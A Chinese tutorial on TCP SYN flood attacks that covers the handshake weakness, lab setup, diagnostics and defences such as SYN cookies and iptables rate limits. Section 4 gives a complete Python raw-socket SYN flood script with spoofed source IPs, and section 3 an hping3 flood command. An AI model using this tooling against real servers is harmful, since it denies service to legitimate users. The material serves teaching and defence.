深入解析TCP SYN Flood攻击:从协议原理到防御实战

深入解析TCP SYN Flood攻击:从协议原理到防御实战

1. 项目概述:从协议握手到拒绝服务

在互联网的基石协议中,TCP(传输控制协议)以其可靠、有序、面向连接的特性,承载了绝大部分的网络通信。然而,正是其建立连接的严谨“三次握手”过程,成为了一个可以被利用的经典弱点。Syn-flood攻击,这个听起来有些年代感的名字,至今仍然是网络攻防领域一个绕不开的课题。它不像那些利用复杂逻辑漏洞的攻击,而是以一种近乎“蛮力”的方式,直接冲击协议栈的资源管理机制,简单、粗暴,却常常有效。

简单来说,Syn-flood攻击就是攻击者伪装成大量不同的客户端,向目标服务器疯狂发送TCP连接请求的第一个数据包(SYN包),但在收到服务器的响应(SYN-ACK包)后,却拒绝完成握手的最后一步(发送ACK包)。这会导致服务器端为每一个“半开连接”预留资源(如内存、端口状态),并等待一个永远不会到来的确认。当这种伪造的连接请求数量超过服务器的处理能力上限时,新的合法连接请求就无法被处理,服务也就被“淹没”了,形成拒绝服务(DoS)或分布式拒绝服务(DDoS)。

这个项目,我们将深入TCP协议栈的内部,亲手复现并剖析Syn-flood攻击。目的绝非为了实施破坏,而是为了深刻理解:一个看似完美的协议设计,其安全边界在哪里;作为防御者,我们又该如何构建防线。无论你是网络安全爱好者、运维工程师,还是对底层网络原理充满好奇的开发者,通过这个从原理到代码、从攻击到防御的完整过程,你都能获得对网络通信安全更立体、更实战化的认知。

2. 攻击原理深度拆解:TCP三次握手的阿喀琉斯之踵

要理解Syn-flood为何有效,必须回到TCP连接建立的核心——三次握手。这个过程是TCP可靠性的开端,却也埋下了资源竞争的隐患。

2.1 TCP三次握手流程与状态变迁

一次正常的TCP连接建立,双方的状态机遵循着严格的序列:

  1. 客户端发送SYN:客户端(主动打开方)发送一个TCP报文段,其中SYN标志位设置为1,并选择一个初始序列号(Seq = x)。此时客户端进入SYN_SENT状态。
  2. 服务器回应SYN-ACK:服务器收到SYN包后,如果同意建立连接,则会回复一个报文段。这个报文段同时设置SYN和ACK标志位为1,确认号为x+1(Ack = x+1),并为自己选择一个初始序列号y(Seq = y)。服务器随即进入SYN_RCVD状态。
  3. 客户端发送ACK:客户端收到服务器的SYN-ACK后,发送最后一个ACK包,ACK标志位为1,确认号为y+1(Ack = y+1)。客户端进入ESTABLISHED状态。服务器收到这个ACK后,也进入ESTABLISHED状态,连接正式建立。

这个设计的精妙之处在于,通过序列号的交换和确认,双方同步了数据传输的起始点。但问题出在第二步和第三步之间。

2.2 资源预留:半开连接与 backlog 队列

当服务器处于SYN_RCVD状态时,这个连接被称为“半开连接”。操作系统内核必须为这个尚未完全建立的连接分配资源,至少包括:

  • 一个套接字(Socket)结构体:存储连接的对端地址、端口、状态、序列号等信息。
  • 内存缓冲区:用于可能提前到达的数据(虽然RFC规定在建立连接前不应发送数据,但实现上需考虑)。
  • 一个条目在“半连接队列”中:这个队列通常被称为SYN queueincomplete connection queue,其大小由系统参数决定(如Linux的net.ipv4.tcp_max_syn_backlog)。

这个backlog队列的长度是有限的。它的存在是为了在握手完成前,临时存放这些半开连接请求,防止瞬间的并发请求压垮系统。

2.3 攻击向量:伪造与资源耗尽

Syn-flood攻击者正是瞄准了这个backlog队列。攻击者会持续、高速地向目标服务器的某个端口(如Web服务的80端口)发送SYN包。关键在于,这些SYN包的源IP地址是伪造的(IP Spoofing),随机生成或根本不存在的IP。

攻击流程如下:

  1. 攻击者伪造源IP为A,向目标服务器S的端口P发送SYN包。
  2. 服务器S收到包,认为IPA的某个客户端希望连接。它分配资源,创建半开连接条目放入SYN queue,并向IPA回复SYN-ACK包。
  3. 由于IPA是伪造的,这个SYN-ACK包要么发往一个不存在的主机,要么发往一个无辜的主机(如果IPA是真实的)。该主机并未发起连接,因此会以RST包回应(如果它开启了相关防火墙),或者直接忽略。无论如何,服务器S期待的ACK包永远不会到来。
  4. 服务器S会等待一段时间(TCP重传超时时间),期间会重传SYN-ACK包。超时后,才会释放为该连接分配的资源。
  5. 攻击者以远高于服务器处理速度和队列超时释放速度的速率,持续发送伪造SYN包。很快,SYN queue被这些“幽灵”连接占满。

此时,灾难发生了:当SYN queue满后,服务器内核将开始丢弃新的SYN包,无论它来自攻击者还是真正的合法用户。对于合法用户而言,他们的连接请求石沉大海,服务表现为连接超时或拒绝,这就是拒绝服务。

注意:现代操作系统通常有两个队列:SYN queue(半连接队列)和Accept queue(全连接队列,即已完成三次握手,等待应用层accept()的队列)。Syn-flood攻击主要打满的是SYN queuenet.core.somaxconn参数影响的是Accept queue的大小,不要混淆。

2.4 攻击的“性价比”与演变

Syn-flood攻击是一种典型的“不对称攻击”。攻击者发送一个很小的SYN包(通常60字节左右),就能迫使服务器进行更多的计算(分配资源、构造SYN-ACK包)并维持更长时间的状态。攻击流量本身可能并不大,但造成的破坏效果却可以很强。随着僵尸网络(Botnet)的普及,攻击者可以操纵成千上万台被控主机同时发起攻击,将简单的DoS升级为DDoS,使得攻击源追踪和过滤变得极其困难。

3. 实验环境搭建与工具准备

在深入代码之前,我们必须在一个安全、隔离的环境中操作。绝对禁止在公网、他人的服务器或任何非授权环境中进行此类测试。我们的目标是通过实验理解原理,而非造成破坏。

3.1 实验环境规划

推荐以下两种方案:

方案一:本地虚拟化环境(推荐,最安全)使用VirtualBox或VMware创建两台虚拟机。

  • 攻击机(Attacker):安装Kali Linux或任何带有Python/C编译环境的Linux发行版。Kali内置了大量网络工具,方便我们后续扩展。
  • 靶机(Target):安装一个标准服务器系统,如Ubuntu Server。我们将在这台机器上运行一个简单的服务(如Python HTTP服务器)并观察攻击效果。
  • 网络配置:将两台虚拟机连接到同一个“仅主机(Host-Only)”或“内部网络(Internal Network)”中,确保它们可以互相通信,但完全与外部互联网隔离。

方案二:容器化环境(轻量快捷)使用Docker在同一台宿主机上创建两个容器。

  • 攻击容器:基于python:3-slimkalilinux/kali-rolling镜像。
  • 靶机容器:基于nginx:alpineubuntu镜像,并运行一个服务。
  • 使用Docker的--network选项将它们连接到同一个自定义桥接网络。

实操心得:对于网络协议学习,虚拟机的“仅主机”模式是最清晰的,你可以用Wireshark在宿主机或虚拟机内轻松抓到所有流量,直观看到每一个SYN、SYN-ACK包。Docker虽然轻量,但网络命名空间和虚拟网卡可能会让抓包和分析对新手稍显复杂。

3.2 关键工具与命令

在攻击机和靶机上,我们需要准备以下工具:

靶机(Target)侧:

  1. 网络服务:用于充当被攻击目标。
    # 安装一个简单的HTTP服务器 sudo apt update && sudo apt install -y python3 # 在8080端口启动一个临时HTTP服务 python3 -m http.server 8080 &
  2. 系统监控命令:观察系统状态和连接状态。
    • netstatss:查看当前网络连接和监听状态。
      # 查看所有TCP连接状态,特别关注SYN_RECV状态 ss -tan | grep -E ‘LISTEN|SYN-RECV’ # 或者使用netstat netstat -tunp | grep -E ‘tcp.*:8080’
    • watch:动态重复执行命令,方便观察变化。
      # 每1秒刷新一次SYN_RECV状态的连接数 watch -n 1 “ss -tan state syn-recv | wc -l”
    • tcpdump:抓取网络包,进行底层分析。
      # 抓取所有经过eth0网卡,目标或源端口是8080的TCP包 sudo tcpdump -i eth0 -nn ‘tcp port 8080’ -w syn_flood.pcap
  3. 系统参数查看:了解系统的防御基线。
    # 查看半连接队列最大长度 sysctl net.ipv4.tcp_max_syn_backlog # 查看SYN-ACK重传次数 sysctl net.ipv4.tcp_synack_retries # 查看是否启用了SYN Cookies(一种缓解机制) sysctl net.ipv4.tcp_syncookies

攻击机(Attacker)侧:

  1. 编程环境:Python3是首选,因其库丰富,编写原型快捷。
  2. 原始套接字权限:发送伪造IP的原始数据包需要root权限。我们的攻击脚本需要以sudo运行。
  3. 可选工具hping3,一个强大的命令行网络探测和攻击工具,可以快速发起SYN flood。
    # 使用hping3进行SYN flood测试 (在隔离环境中!) sudo hping3 -S --flood -p 8080 靶机IP地址 # -S: 设置SYN标志 # --flood: 尽可能快地发送数据包 # -p: 目标端口

4. 核心代码实现:手动构造攻击数据包

理解了原理,我们亲手用Python的raw socket来构造攻击包。这能让你透彻理解一个TCP数据包到底长什么样。我们会分步骤构建一个完整的Syn-flood攻击脚本。

4.1 构造IP头部

IP头部负责将数据包路由到目标主机。我们需要伪造源IP地址。

import socket import struct import random def create_ip_header(source_ip, dest_ip): """ 构造一个IP头部。 注意:我们设置源IP为伪造的地址。 """ # IP头部默认字段 ip_ver_ihl = 69 # 版本4,头部长度20字节 (5 * 4) -> 0x45 ip_tos = 0 # 服务类型,默认 ip_total_len = 0 # 总长度,稍后计算 (IP头+TCP头) ip_id = random.randint(1, 65535) # 标识符,随机 ip_frag_off = 0 # 分片偏移,设为0不分片 ip_ttl = 64 # 生存时间 ip_proto = socket.IPPROTO_TCP # 上层协议为TCP (6) ip_check = 0 # 校验和,先置0,稍后计算 ip_saddr = socket.inet_aton(source_ip) # 源地址(伪造) ip_daddr = socket.inet_aton(dest_ip) # 目标地址 # 将字段打包成二进制格式 ip_header = struct.pack(‘!BBHHHBBH4s4s’, ip_ver_ihl, ip_tos, ip_total_len, ip_id, ip_frag_off, ip_ttl, ip_proto, ip_check, ip_saddr, ip_daddr) return ip_header

关键点解析struct.pack(‘!BBHHHBBH4s4s’, ...)中的!表示网络字节序(大端序),这是网络传输的标准。我们伪造了ip_saddrip_total_lenip_check需要等TCP头部也构造好后一起计算。

4.2 构造TCP头部(SYN包)

TCP头部包含了端口、序列号、标志位等信息。SYN包的核心是将SYN标志位设为1。

def create_tcp_syn_header(source_port, dest_port, seq_num, source_ip, dest_ip): """ 构造一个TCP SYN包的头部。 """ # TCP头部字段 tcp_source = source_port # 源端口,可随机 tcp_dest = dest_port # 目标端口 tcp_seq = seq_num # 序列号,随机 tcp_ack_seq = 0 # 确认号,SYN包为0 tcp_data_offset = 5 # 数据偏移,5表示头部20字节 (5 * 4) # TCP标志位:保留(4位) + NS|CWR|ECE|URG|ACK|PSH|RST|SYN|FIN # 我们只需要SYN位为1。二进制:00000010 -> 0x02 tcp_flags = 0x02 # SYN=1 tcp_window = socket.htons(5840) # 窗口大小,随意设置一个常见值 tcp_check = 0 # 校验和,先置0 tcp_urg_ptr = 0 # 紧急指针,0 # 将固定部分打包 tcp_header_no_check = struct.pack(‘!HHLLBBHHH’, tcp_source, tcp_dest, tcp_seq, tcp_ack_seq, (tcp_data_offset << 4), tcp_flags, tcp_window, tcp_check, tcp_urg_ptr) # 计算TCP伪头部(用于校验和计算) pseudo_header = struct.pack(‘!4s4sBBH’, socket.inet_aton(source_ip), socket.inet_aton(dest_ip), 0, socket.IPPROTO_TCP, len(tcp_header_no_check)) # 计算TCP校验和(包含伪头部) tcp_check = calculate_checksum(pseudo_header + tcp_header_no_check) # 重新打包TCP头部,填入正确的校验和 tcp_header = struct.pack(‘!HHLLBBH’, tcp_source, tcp_dest, tcp_seq, tcp_ack_seq, (tcp_data_offset << 4), tcp_flags, tcp_window) tcp_header += struct.pack(‘H’, tcp_check) # 校验和字段 tcp_header += struct.pack(‘!H’, tcp_urg_ptr) # 紧急指针字段 return tcp_header def calculate_checksum(data): """ 计算互联网校验和(IP/TCP等协议使用)。 算法:将数据按16位分组相加,若有进位则回卷,最后取反。 """ if len(data) % 2 != 0: data += b’\x00‘ # 如果长度为奇数,补一个字节的0 s = 0 for i in range(0, len(data), 2): w = (data[i] << 8) + data[i+1] s += w s = (s & 0xffff) + (s >> 16) # 回卷进位 return ~s & 0xffff # 取反

关键点解析

  1. tcp_flags = 0x02:这是核心,将SYN位(从低位开始的第2位)设为1。
  2. TCP校验和计算:这是难点。TCP校验和的计算范围包括:TCP伪头部(源IP、目标IP、协议号、TCP长度)+ TCP头部 + TCP数据。我们的SYN包没有数据部分。calculate_checksum函数实现了标准的回卷加法取反算法。
  3. 序列号随机化tcp_seq应为一个随机数,模拟真实客户端。

4.3 组装数据包并发送

现在我们将IP头和TCP头组装起来,并通过原始套接字发送。

def send_syn_flood(target_ip, target_port, spoofed_ip_base, count=1000): """ 发送SYN Flood攻击包。 :param target_ip: 目标服务器IP :param target_port: 目标端口 :param spoofed_ip_base: 伪造IP的基础段,如 ‘192.168.1.’ :param count: 发送包的数量 """ # 创建原始套接字,指定处理IP协议 try: s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW) except socket.error as e: print(‘创建原始套接字失败,需要root权限。错误:’, e) return # 告诉操作系统,IP头部由我们自己提供 s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1) sent_packets = 0 for i in range(count): # 1. 伪造源IP,每次循环变化最后一位,模拟不同主机 spoofed_ip = spoofed_ip_base + str(random.randint(1, 254)) # 2. 随机源端口 source_port = random.randint(1024, 65535) # 3. 随机初始序列号 seq_num = random.randint(0, 0xffffffff) # 4. 构造IP头部和TCP头部 ip_header = create_ip_header(spoofed_ip, target_ip) tcp_header = create_tcp_syn_header(source_port, target_port, seq_num, spoofed_ip, target_ip) # 5. 组装完整数据包 packet = ip_header + tcp_header # 6. 发送到目标 try: s.sendto(packet, (target_ip, 0)) # 端口为0,因为IP层不关心端口 sent_packets += 1 if sent_packets % 100 == 0: print(f’已发送 {sent_packets} 个SYN包‘) except socket.error as e: print(‘发送失败:’, e) break # 可选:添加微小延迟,避免瞬间打满本地发送队列(在真实攻击中不会加) # time.sleep(0.001) s.close() print(f’攻击结束,共发送 {sent_packets} 个SYN包。‘) if __name__ == ‘__main__’: # !!! 警告:仅在隔离的测试环境中使用以下参数 !!! TARGET_IP = ‘192.168.56.102‘ # 替换为你的靶机IP TARGET_PORT = 8080 # 替换为靶机服务端口 SPOOFED_IP_BASE = ‘10.0.0.’ # 伪造的IP网段 PACKET_COUNT = 5000 # 发送包数量 send_syn_flood(TARGET_IP, TARGET_PORT, SPOOFED_IP_BASE, PACKET_COUNT)

4.4 脚本使用与效果观察

  1. 在攻击机运行:需要root权限。
    sudo python3 syn_flood_attacker.py
  2. 在靶机观察:打开另一个终端,运行监控命令。
    # 观察SYN_RECV状态的连接数激增 watch -n 1 “ss -tan state syn-recv sport = :8080 | tail -n +2 | wc -l” # 观察系统整体连接状态 watch -n 1 “netstat -tun | awk ‘{print $6}’ | sort | uniq -c”
  3. 测试服务可用性:在攻击进行时,尝试从攻击机或其他机器(如果在同一网络)访问靶机的服务。
    curl http://靶机IP:8080
    你会观察到连接超时或非常缓慢。

注意事项

  1. 权限:原始套接字需要root权限,这是操作系统对底层网络操作的安全限制。
  2. 伪造IP的局限性:在局域网内,由于ARP协议的存在,如果伪造的IP不在同一子网,或者网关有反向路径过滤(RPF)检查,这些包可能出不去你的攻击机。我们的实验在隔离的虚拟网络内进行,通常没问题。在公网发起这种伪造IP的攻击,需要控制网络路径上的设备,难度极大,且是违法行为。
  3. 发送速率:我们的Python脚本是单线程的,发送速率有限。真正的攻击工具(如hping3scapy库或专门的DDoS工具)会使用多线程、多进程、PF_RING等技术来提升包速率。
  4. 系统资源:大量发送原始数据包也会消耗攻击机自身的CPU和网络资源。

5. 防御策略与缓解机制剖析

理解了攻击是如何工作的,防御的思路就清晰了:要么扩大资源池(扩容),要么缩短资源占用时间(加速回收),要么在握手完成前不分配关键资源(无状态挑战)。现代操作系统和网络设备已经集成了多种机制。

5.1 操作系统内核参数调优

这是最基础的防御层面,通过调整TCP/IP协议栈的行为来增加抗攻击能力。

  • 增大半连接队列大小 (net.ipv4.tcp_max_syn_backlog)

    # 临时生效 sudo sysctl -w net.ipv4.tcp_max_syn_backlog=2048 # 永久生效,写入 /etc/sysctl.conf echo “net.ipv4.tcp_max_syn_backlog=2048” | sudo tee -a /etc/sysctl.conf

    原理与权衡:直接增加队列容量,能承受更多半开连接。但每个连接都需要内存(struct inet_request_sock),盲目调大会消耗过多内存,可能影响系统整体性能。它只是提高了攻击门槛,并未根治问题。

  • 减少SYN-ACK重传次数 (net.ipv4.tcp_synack_retries)

    sudo sysctl -w net.ipv4.tcp_synack_retries=2

    原理:降低服务器等待虚假ACK的超时时间。默认可能是5次,减少到2次能更快地释放半开连接资源。副作用是,在网络状况不佳时,可能会误杀合法的、响应慢的连接。

  • 启用TCP SYN Cookies (net.ipv4.tcp_syncookies)这是最重要、最常用的单机防御机制。

    sudo sysctl -w net.ipv4.tcp_syncookies=1

    原理深度解析:这是一种巧妙的“无状态”防御。当SYN queue快满或已满时,服务器不再分配完整的sock结构体,而是根据客户端SYN包中的信息(源/目标IP、端口、序列号等)和一个只有服务器知道的秘密种子,通过一个哈希函数(如SHA1)计算出一个“Cookie”值。这个Cookie被编码到回应的SYN-ACK包的初始序列号(ISN)中。 当服务器收到客户端的ACK包时,会取出ACK包中的确认号(Ack Number),减去1,得到原始的ISN(即Cookie)。然后服务器用同样的算法和当前的秘密种子,根据ACK包中的信息重新计算一个Cookie。如果两者匹配,说明这是一个合法的ACK(因为只有收到SYN-ACK的客户端才能知道这个ISN),服务器才会分配完整资源,建立连接。优点:几乎可以完全防御Syn-flood攻击,因为攻击者无法伪造出能通过Cookie验证的ACK包。服务器在握手完成前不占用关键资源。缺点

    1. Cookie编码会占用TCP序列号空间,可能对某些需要高精度时间戳或窗口缩放选项的高性能网络环境有细微影响(现代内核已优化)。
    2. 它是最后一道防线,默认在队列快满时才启用。不应将其视为常态优化,而应作为应急机制。

5.2 网络层与基础设施防御

对于面向公网的服务,单机防御是远远不够的,需要在网络边界进行清洗。

  • 防火墙规则(iptables/ nftables)

    # 示例:限制单个IP对特定端口的新连接速率 sudo iptables -A INPUT -p tcp --dport 80 --syn -m connlimit --connlimit-above 20 --connlimit-mask 32 -j DROP sudo iptables -A INPUT -p tcp --dport 80 --syn -m limit --limit 1/s --limit-burst 3 -j ACCEPT sudo iptables -A INPUT -p tcp --dport 80 --syn -j DROP

    原理:第一条规则限制同一IP最多只能有20个半开连接。第二条规则使用令牌桶算法,限制每秒只接受1个新SYN包,突发允许3个。第三条规则丢弃所有其他SYN包。这能有效减缓单个攻击源的冲击,但对分布式攻击(DDoS)效果有限。

  • 反向代理与负载均衡器:像Nginx、HAProxy这样的软件,或者F5、A10这样的硬件设备,可以作为“冲锋盾牌”。它们通常有更强大的连接管理能力和DDoS缓解模块,可以先与客户端完成TCP握手,然后再与后端的真实服务器建立连接。即使代理层受到攻击,后端服务器也能得到保护。

  • 云服务商/ISP提供的DDoS防护:这是目前最有效的方案。例如,Cloudflare、阿里云DDoS高防、AWS Shield等。它们利用全球分布的清洗中心,通过BGP Anycast将攻击流量引流到最近的防护节点进行识别和过滤,只将清洁流量回源到你的服务器。其核心原理包括:

    • 流量基线学习:建立正常流量模型。
    • 特征识别:识别异常的SYN包速率、源IP分布等。
    • 挑战-响应:对可疑IP发送一些无害的挑战包(如TCP报文,但序列号异常),真实客户端(如浏览器)的协议栈会正确处理或忽略,而简单的攻击工具往往无法回应。
    • IP信誉库:封禁已知的恶意IP段。

5.3 应用层与架构设计

  • 连接复用与池化:在应用程序中,使用数据库连接池、HTTP连接池(如HTTP/2的多路复用),减少频繁建立TCP连接的开销,间接提升对连接风暴的抵抗力。
  • 微服务与弹性伸缩:将单体服务拆分为微服务,并结合云平台的自动伸缩组(Auto Scaling)。当某个服务端点受到攻击时,可以自动扩容实例来分担压力。但这主要应对的是资源耗尽型攻击,对于Syn-flood这种打满队列的攻击,扩容后端实例可能效果不佳,除非负载均衡器层面有防护。
  • 冗余与多活部署:服务部署在多个地域、多个运营商,即使一个点被打垮,流量可以快速切换到其他节点。

6. 实战排查与问题诊断

当服务器疑似遭受Syn-flood攻击时,作为一名运维人员,你需要快速定位问题。以下是一套排查流程和命令。

6.1 症状识别

  • 服务端:网站或API访问超时、缓慢,但服务器CPU、内存使用率可能并不高。
  • 网络监控:发现入向TCP SYN包数量异常飙升,远大于SYN-ACK和ACK包的数量。
  • 连接状态:使用ssnetstat看到大量SYN_RECV状态的连接。

6.2 诊断命令与步骤

  1. 快速查看连接状态分布

    netstat -n | awk ‘/^tcp/ {++S[$NF]} END {for(a in S) print a, S[a]}’ # 或使用更快的 ss ss -tan | awk ‘{print $1}’ | sort | uniq -c | sort -rn

    如果SYN-RECV状态的数量异常多(比如成千上万),且持续不减少,是典型症状。

  2. 查看半连接队列的实时情况(Linux):

    # 查看监听端口的Send-Q (当前积压的半连接队列长度) ss -lnt | grep :8080 # 输出示例:LISTEN 0 128 0.0.0.0:8080 # 第二个数字是Recv-Q(全连接队列积压),第三个数字是Send-Q(半连接队列最大长度?此处有争议,更准确看下面) # 更准确的方式是查看/proc cat /proc/net/netstat | grep -i syncookie # 关注 `ListenOverflows` 和 `ListenDrops`,它们表示因队列满而丢弃的连接数。
  3. 使用tcpdump抓包分析

    sudo tcpdump -i eth0 -nn ‘tcp port 8080 and tcp[tcpflags] & (tcp-syn) != 0 and tcp[tcpflags] & (tcp-ack) == 0’

    这个命令只抓取目标端口是8080的SYN包(且不是SYN-ACK)。观察源IP是否非常分散且不规则。

  4. 检查系统日志

    sudo dmesg | grep -i “syn flood” sudo journalctl -k --since “5 minutes ago” | grep -i “drop”

    内核在启用SYN Cookie或丢弃大量包时,可能会在日志中留下记录。

6.3 常见问题速查表

问题现象可能原因排查命令/方向
大量SYN_RECV状态连接正在遭受Syn-flood攻击ss -tan state syn-recvtcpdump抓包看源IP
ListenOverflows计数快速增长半连接队列已满,开始丢包cat /proc/net/netstat | grep -i syncookie
服务访问慢,但连接状态不多可能是全连接队列(Accept queue)满了ss -lntRecv-Q是否很大;检查应用accept()速度
单个IP产生大量连接可能是爬虫或配置错误的客户端,不一定是攻击ss -tan dst :8080 | awk ‘{print $5}’ | cut -d: -f1 | sort | uniq -c | sort -rn
SYN包速率正常,但ACK很少攻击者伪造了IP,或网络问题导致ACK丢失对比tcpdump中SYN和ACK包的数量

6.4 应急缓解操作

  1. 立即启用SYN Cookies:如果之前没开,这是最快最有效的方法。
    sudo sysctl -w net.ipv4.tcp_syncookies=1
  2. 临时调整防火墙:如果攻击源IP相对集中,可以临时封禁。
    # 封禁单个IP sudo iptables -A INPUT -s 攻击者IP -j DROP # 封禁整个IP段(谨慎!) sudo iptables -A INPUT -s 攻击者网段/24 -j DROP
  3. 联系上游防护:如果攻击流量巨大,立即联系你的云服务商或IDC,启用他们的DDoS清洗服务。
  4. 切换高防IP:如果有准备,将域名解析切换到高防IP地址。

根本解决之道:事后一定要分析攻击流量日志,了解攻击模式。长期来看,对于关键业务,必须部署专业的网络层DDoS防护解决方案,并将SYN Cookies等内核参数调整纳入系统标准化配置。